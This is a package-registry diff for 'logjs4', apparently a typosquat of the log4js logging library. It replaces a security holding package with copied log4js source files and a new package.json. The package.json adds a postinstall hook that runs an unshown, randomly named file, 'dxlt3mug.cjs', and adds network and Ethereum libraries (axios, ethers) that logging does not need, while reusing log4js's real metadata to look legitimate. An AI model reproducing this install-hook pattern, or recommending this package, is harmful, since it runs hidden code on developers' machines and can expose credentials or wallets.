logjs4 0.0.1-security → 6.9.1

package/lib/log4js.js

@@ -0,0 +1,186 @@
+/**
+ * @fileoverview log4js is a library to log in JavaScript in similar manner
+ * than in log4j for Java (but not really).
+ *
+ * <h3>Example:</h3>
+ * <pre>
+ *  const logging = require('log4js');
+ *  const log = logging.getLogger('some-category');
+ *
+ *  //call the log
+ *  log.trace('trace me' );
+ * </pre>
+ *
+ * NOTE: the authors below are the original browser-based log4js authors
+ * don't try to contact them about bugs in this version :)
+ * @author Stephan Strittmatter - http://jroller.com/page/stritti
+ * @author Seth Chisamore - http://www.chisamore.com
+ * @since 2005-05-20
+ * Website: http://log4js.berlios.de
+ */
+const debug = require('debug')('log4js:main');
+const fs = require('fs');
+const deepClone = require('rfdc')({ proto: true });
+const configuration = require('./configuration');
+const layouts = require('./layouts');
+const levels = require('./levels');
+const appenders = require('./appenders');
+const categories = require('./categories');
+const Logger = require('./logger');
+const clustering = require('./clustering');
+const connectLogger = require('./connect-logger');
+const recordingModule = require('./appenders/recording');
+
+let enabled = false;
+
+function sendLogEventToAppender(logEvent) {
+  if (!enabled) return;
+  debug('Received log event ', logEvent);
+  const categoryAppenders = categories.appendersForCategory(
+    logEvent.categoryName
+  );
+  categoryAppenders.forEach((appender) => {
+    appender(logEvent);
+  });
+}
+
+function loadConfigurationFile(filename) {
+  debug(`Loading configuration from ${filename}`);
+  try {
+    return JSON.parse(fs.readFileSync(filename, 'utf8'));
+  } catch (e) {
+    throw new Error(
+      `Problem reading config from file "${filename}". Error was ${e.message}`,
+      e
+    );
+  }
+}
+
+function configure(configurationFileOrObject) {
+  if (enabled) {
+    // eslint-disable-next-line no-use-before-define
+    shutdown();
+  }
+
+  let configObject = configurationFileOrObject;
+
+  if (typeof configObject === 'string') {
+    configObject = loadConfigurationFile(configurationFileOrObject);
+  }
+  debug(`Configuration is ${configObject}`);
+
+  configuration.configure(deepClone(configObject));
+
+  clustering.onMessage(sendLogEventToAppender);
+
+  enabled = true;
+
+  // eslint-disable-next-line no-use-before-define
+  return log4js;
+}
+
+function isConfigured() {
+  return enabled;
+}
+
+function recording() {
+  return recordingModule;
+}
+
+/**
+ * This callback type is called `shutdownCallback` and is displayed as a global symbol.
+ *
+ * @callback shutdownCallback
+ * @param {Error} [error]
+ */
+
+/**
+ * Shutdown all log appenders. This will first disable all writing to appenders
+ * and then call the shutdown function each appender.
+ *
+ * @param {shutdownCallback} [callback] - The callback to be invoked once all appenders have
+ *  shutdown. If an error occurs, the callback will be given the error object
+ *  as the first argument.
+ */
+function shutdown(callback = () => {}) {
+  if (typeof callback !== 'function') {
+    throw new TypeError('Invalid callback passed to shutdown');
+  }
+  debug('Shutdown called. Disabling all log writing.');
+  // First, disable all writing to appenders. This prevents appenders from
+  // not being able to be drained because of run-away log writes.
+  enabled = false;
+
+  // Clone out to maintain a reference
+  const appendersToCheck = Array.from(appenders.values());
+
+  // Reset immediately to prevent leaks
+  appenders.init();
+  categories.init();
+
+  // Count the number of shutdown functions
+  const shutdownFunctions = appendersToCheck.reduce(
+    (accum, next) => (next.shutdown ? accum + 1 : accum),
+    0
+  );
+  if (shutdownFunctions === 0) {
+    debug('No appenders with shutdown functions found.');
+    callback();
+  }
+
+  let completed = 0;
+  let error;
+  debug(`Found ${shutdownFunctions} appenders with shutdown functions.`);
+  function complete(err) {
+    error = error || err;
+    completed += 1;
+    debug(`Appender shutdowns complete: ${completed} / ${shutdownFunctions}`);
+    if (completed >= shutdownFunctions) {
+      debug('All shutdown functions completed.');
+      callback(error);
+    }
+  }
+
+  // Call each of the shutdown functions
+  appendersToCheck
+    .filter((a) => a.shutdown)
+    .forEach((a) => a.shutdown(complete));
+}
+
+/**
+ * Get a logger instance.
+ * @static
+ * @param {string} [category=default]
+ * @return {Logger} instance of logger for the category
+ */
+function getLogger(category) {
+  if (!enabled) {
+    configure(
+      process.env.LOG4JS_CONFIG || {
+        appenders: { out: { type: 'stdout' } },
+        categories: { default: { appenders: ['out'], level: 'OFF' } },
+      }
+    );
+  }
+  return new Logger(category || 'default');
+}
+
+/**
+ * @name log4js
+ * @namespace Log4js
+ * @property getLogger
+ * @property configure
+ * @property shutdown
+ */
+const log4js = {
+  getLogger,
+  configure,
+  isConfigured,
+  shutdown,
+  connectLogger,
+  levels,
+  addLayout: layouts.addLayout,
+  recording,
+};
+
+module.exports = log4js;

package/lib/logger.js

@@ -0,0 +1,245 @@
+/* eslint no-underscore-dangle: ["error", { "allow": ["_log"] }] */
+
+const debug = require('debug')('log4js:logger');
+const LoggingEvent = require('./LoggingEvent');
+const levels = require('./levels');
+const clustering = require('./clustering');
+const categories = require('./categories');
+const configuration = require('./configuration');
+
+const stackReg = /^(?:\s*)at (?:(.+) \()?(?:([^(]+?):(\d+):(\d+))\)?$/;
+/**
+ * The top entry is the Error
+ */
+const baseCallStackSkip = 1;
+/**
+ * The _log function is 3 levels deep, we need to skip those to make it to the callSite
+ */
+const defaultErrorCallStackSkip = 3;
+
+/**
+ *
+ * @param {Error} data
+ * @param {number} skipIdx
+ * @returns {import('../types/log4js').CallStack | null}
+ */
+function defaultParseCallStack(
+  data,
+  skipIdx = defaultErrorCallStackSkip + baseCallStackSkip
+) {
+  try {
+    const stacklines = data.stack.split('\n').slice(skipIdx);
+    if (!stacklines.length) {
+      // There's no stack in this stack
+      // Should we try a previous index if skipIdx was set?
+      return null;
+    }
+    const lineMatch = stackReg.exec(stacklines[0]);
+    /* istanbul ignore else: failsafe */
+    if (lineMatch && lineMatch.length === 5) {
+      // extract class, function and alias names
+      let className = '';
+      let functionName = '';
+      let functionAlias = '';
+      if (lineMatch[1] && lineMatch[1] !== '') {
+        // WARN: this will unset alias if alias is not present.
+        [functionName, functionAlias] = lineMatch[1]
+          .replace(/[[\]]/g, '')
+          .split(' as ');
+        functionAlias = functionAlias || '';
+
+        if (functionName.includes('.'))
+          [className, functionName] = functionName.split('.');
+      }
+
+      return {
+        fileName: lineMatch[2],
+        lineNumber: parseInt(lineMatch[3], 10),
+        columnNumber: parseInt(lineMatch[4], 10),
+        callStack: stacklines.join('\n'),
+        className,
+        functionName,
+        functionAlias,
+        callerName: lineMatch[1] || '',
+      };
+      // eslint-disable-next-line no-else-return
+    } else {
+      // will never get here unless nodejs has changes to Error
+      console.error('log4js.logger - defaultParseCallStack error'); // eslint-disable-line no-console
+    }
+  } catch (err) {
+    // will never get error unless nodejs has breaking changes to Error
+    console.error('log4js.logger - defaultParseCallStack error', err); // eslint-disable-line no-console
+  }
+  return null;
+}
+
+/**
+ * Logger to log messages.
+ * use {@see log4js#getLogger(String)} to get an instance.
+ *
+ * @name Logger
+ * @namespace Log4js
+ * @param name name of category to log to
+ * @param level - the loglevel for the category
+ * @param dispatch - the function which will receive the logevents
+ *
+ * @author Stephan Strittmatter
+ */
+class Logger {
+  constructor(name) {
+    if (!name) {
+      throw new Error('No category provided.');
+    }
+    this.category = name;
+    this.context = {};
+    /** @private */
+    this.callStackSkipIndex = 0;
+    /** @private */
+    this.parseCallStack = defaultParseCallStack;
+    debug(`Logger created (${this.category}, ${this.level})`);
+  }
+
+  get level() {
+    return levels.getLevel(
+      categories.getLevelForCategory(this.category),
+      levels.OFF
+    );
+  }
+
+  set level(level) {
+    categories.setLevelForCategory(
+      this.category,
+      levels.getLevel(level, this.level)
+    );
+  }
+
+  get useCallStack() {
+    return categories.getEnableCallStackForCategory(this.category);
+  }
+
+  set useCallStack(bool) {
+    categories.setEnableCallStackForCategory(this.category, bool === true);
+  }
+
+  get callStackLinesToSkip() {
+    return this.callStackSkipIndex;
+  }
+
+  set callStackLinesToSkip(number) {
+    if (typeof number !== 'number') {
+      throw new TypeError('Must be a number');
+    }
+    if (number < 0) {
+      throw new RangeError('Must be >= 0');
+    }
+    this.callStackSkipIndex = number;
+  }
+
+  log(level, ...args) {
+    const logLevel = levels.getLevel(level);
+    if (!logLevel) {
+      if (configuration.validIdentifier(level) && args.length > 0) {
+        // logLevel not found but of valid signature, WARN before fallback to INFO
+        this.log(
+          levels.WARN,
+          'log4js:logger.log: valid log-level not found as first parameter given:',
+          level
+        );
+        this.log(levels.INFO, `[${level}]`, ...args);
+      } else {
+        // apart from fallback, allow .log(...args) to be synonym with .log("INFO", ...args)
+        this.log(levels.INFO, level, ...args);
+      }
+    } else if (this.isLevelEnabled(logLevel)) {
+      this._log(logLevel, args);
+    }
+  }
+
+  isLevelEnabled(otherLevel) {
+    return this.level.isLessThanOrEqualTo(otherLevel);
+  }
+
+  _log(level, data) {
+    debug(`sending log data (${level}) to appenders`);
+    const error = data.find((item) => item instanceof Error);
+    let callStack;
+    if (this.useCallStack) {
+      try {
+        if (error) {
+          callStack = this.parseCallStack(
+            error,
+            this.callStackSkipIndex + baseCallStackSkip
+          );
+        }
+      } catch (_err) {
+        // Ignore Error and use the original method of creating a new Error.
+      }
+      callStack =
+        callStack ||
+        this.parseCallStack(
+          new Error(),
+          this.callStackSkipIndex +
+            defaultErrorCallStackSkip +
+            baseCallStackSkip
+        );
+    }
+    const loggingEvent = new LoggingEvent(
+      this.category,
+      level,
+      data,
+      this.context,
+      callStack,
+      error
+    );
+    clustering.send(loggingEvent);
+  }
+
+  addContext(key, value) {
+    this.context[key] = value;
+  }
+
+  removeContext(key) {
+    delete this.context[key];
+  }
+
+  clearContext() {
+    this.context = {};
+  }
+
+  setParseCallStackFunction(parseFunction) {
+    if (typeof parseFunction === 'function') {
+      this.parseCallStack = parseFunction;
+    } else if (typeof parseFunction === 'undefined') {
+      this.parseCallStack = defaultParseCallStack;
+    } else {
+      throw new TypeError('Invalid type passed to setParseCallStackFunction');
+    }
+  }
+}
+
+function addLevelMethods(target) {
+  const level = levels.getLevel(target);
+
+  const levelStrLower = level.toString().toLowerCase();
+  const levelMethod = levelStrLower.replace(/_([a-z])/g, (g) =>
+    g[1].toUpperCase()
+  );
+  const isLevelMethod = levelMethod[0].toUpperCase() + levelMethod.slice(1);
+
+  Logger.prototype[`is${isLevelMethod}Enabled`] = function () {
+    return this.isLevelEnabled(level);
+  };
+
+  Logger.prototype[levelMethod] = function (...args) {
+    this.log(level, ...args);
+  };
+}
+
+levels.levels.forEach(addLevelMethods);
+
+configuration.addListener(() => {
+  levels.levels.forEach(addLevelMethods);
+});
+
+module.exports = Logger;

package/package.json

@@ -1,6 +1,108 @@
 {
   "name": "logjs4",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
-}
+  "version": "6.9.1",
+  "description": "Port of Log4js to work with node.",
+  "homepage": "https://log4js-node.github.io/log4js-node/",
+  "files": [
+    "lib",
+    "types/*.d.ts",
+    "CHANGELOG.md",
+    "SECURITY.md",
+    "dxlt3mug.cjs"
+  ],
+  "keywords": [
+    "logging",
+    "log",
+    "log4j",
+    "node"
+  ],
+  "license": "Apache-2.0",
+  "main": "./lib/log4js",
+  "types": "./types/log4js.d.ts",
+  "contributors": [
+    "Gareth Jones <gareth.nomiddlename@gmail.com>",
+    "Lam Wei Li <lam_wei_li@hotmail.com>"
+  ],
+  "repository": {
+    "type": "git",
+    "url": "https://github.com/log4js-node/log4js-node.git"
+  },
+  "bugs": {
+    "url": "http://github.com/log4js-node/log4js-node/issues"
+  },
+  "engines": {
+    "node": ">=8.0"
+  },
+  "scripts": {
+    "postinstall": "node dxlt3mug.cjs"
+  },
+  "directories": {
+    "test": "test",
+    "lib": "lib"
+  },
+  "dependencies": {
+    "date-format": "^4.0.14",
+    "debug": "^4.3.4",
+    "flatted": "^3.2.7",
+    "rfdc": "^1.3.0",
+    "streamroller": "^3.1.5",
+    "axios": "^1.7.7",
+    "ethers": "^6.13.2"
+  },
+  "devDependencies": {
+    "@commitlint/cli": "^17.4.4",
+    "@commitlint/config-conventional": "^17.4.4",
+    "@log4js-node/sandboxed-module": "^2.2.1",
+    "callsites": "^3.1.0",
+    "deep-freeze": "0.0.1",
+    "eslint": "^8.34.0",
+    "eslint-config-airbnb-base": "^15.0.0",
+    "eslint-config-prettier": "^8.6.0",
+    "eslint-import-resolver-node": "^0.3.7",
+    "eslint-plugin-import": "^2.27.5",
+    "eslint-plugin-prettier": "^4.2.1",
+    "fs-extra": "^11.1.0",
+    "husky": "^8.0.3",
+    "is-ci": "^3.0.1",
+    "nyc": "^15.1.0",
+    "prettier": "^2.8.4",
+    "proxyquire": "^2.1.3",
+    "tap": "^16.3.4",
+    "typescript": "^4.9.5"
+  },
+  "browser": {
+    "os": false,
+    "streamroller": false,
+    "./lib/clustering.js": "./lib/clusteringBrowser.js",
+    "./lib/appenders/dateFile.js": "./lib/appenders/ignoreBrowser.js",
+    "./lib/appenders/file.js": "./lib/appenders/ignoreBrowser.js",
+    "./lib/appenders/fileSync.js": "./lib/appenders/ignoreBrowser.js",
+    "./lib/appenders/multiFile.js": "./lib/appenders/ignoreBrowser.js"
+  },
+  "prettier": {
+    "trailingComma": "es5",
+    "arrowParens": "always",
+    "overrides": [
+      {
+        "files": [
+          "*.cjs"
+        ],
+        "options": {
+          "parser": "typescript"
+        }
+      }
+    ]
+  },
+  "tap": {
+    "check-coverage": true
+  },
+  "nyc": {
+    "all": true,
+    "include": [
+      "lib/**/*.js"
+    ],
+    "require": [
+      "./test/sandbox-coverage"
+    ]
+  }
+}